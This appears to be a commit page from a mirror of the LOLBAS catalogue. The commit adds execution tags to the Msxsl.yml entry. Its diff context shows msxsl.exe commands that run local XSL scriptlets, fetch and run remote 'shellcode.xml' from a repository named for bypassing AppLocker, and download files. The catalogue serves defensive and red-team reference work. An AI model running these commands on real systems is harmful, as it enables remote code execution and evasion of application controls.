public-mirrors/LOLBAS
1
0
Fork 0
mirror of https://github.com/LOLBAS-Project/LOLBAS synced 2024-12-30 16:54:00 +01:00
Code Issues Projects Releases Wiki Activity

Update Msxsl.yml Tags

Browse Source 
Added Tags:
Execute: XSL
Execute: Remote
This commit is contained in:
hegusung 2024-10-13 22:20:50 +02:00 committed by GitHub
parent 2e922f4099
commit f9ea58c0e2
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 10 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

10
yml/OtherMSBinaries/Msxsl.yml
View File

@ -11,6 +11,8 @@ Commands:
Privileges: User Privileges: User
MitreID: T1220 MitreID: T1220
OperatingSystem: Windows OperatingSystem: Windows
Tags:
- Execute: XSL
- Command: msxsl.exe customers.xml script.xsl - Command: msxsl.exe customers.xml script.xsl
Description: Run COM Scriptlet code within the script.xsl file (local). Description: Run COM Scriptlet code within the script.xsl file (local).
Usecase: Local execution of script stored in XSL file. Usecase: Local execution of script stored in XSL file.
@ -18,6 +20,8 @@ Commands:
Privileges: User Privileges: User
MitreID: T1220 MitreID: T1220
OperatingSystem: Windows OperatingSystem: Windows
Tags:
- Execute: XSL
- Command: msxsl.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml - Command: msxsl.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml
Description: Run COM Scriptlet code within the shellcode.xml(xsl) file (remote). Description: Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).
Usecase: Local execution of remote script stored in XSL script stored as an XML file. Usecase: Local execution of remote script stored in XSL script stored as an XML file.
@ -25,6 +29,9 @@ Commands:
Privileges: User Privileges: User
MitreID: T1220 MitreID: T1220
OperatingSystem: Windows OperatingSystem: Windows
Tags:
- Execute: XSL
- Execute: Remote
- Command: msxsl.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml - Command: msxsl.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml
Description: Run COM Scriptlet code within the shellcode.xml(xsl) file (remote). Description: Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).
Usecase: Local execution of remote script stored in XSL script stored as an XML file. Usecase: Local execution of remote script stored in XSL script stored as an XML file.
@ -32,6 +39,9 @@ Commands:
Privileges: User Privileges: User
MitreID: T1220 MitreID: T1220
OperatingSystem: Windows OperatingSystem: Windows
Tags:
- Execute: XSL
- Execute: Remote
- Command: msxsl.exe https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/calc.xml https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/transform.xsl -o <filename> - Command: msxsl.exe https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/calc.xml https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/transform.xsl -o <filename>
Description: Using remote XML and XSL files, save the transformed XML file to disk. Description: Using remote XML and XSL files, save the transformed XML file to disk.
Usecase: Download a file from the internet and save it to disk. Usecase: Download a file from the internet and save it to disk.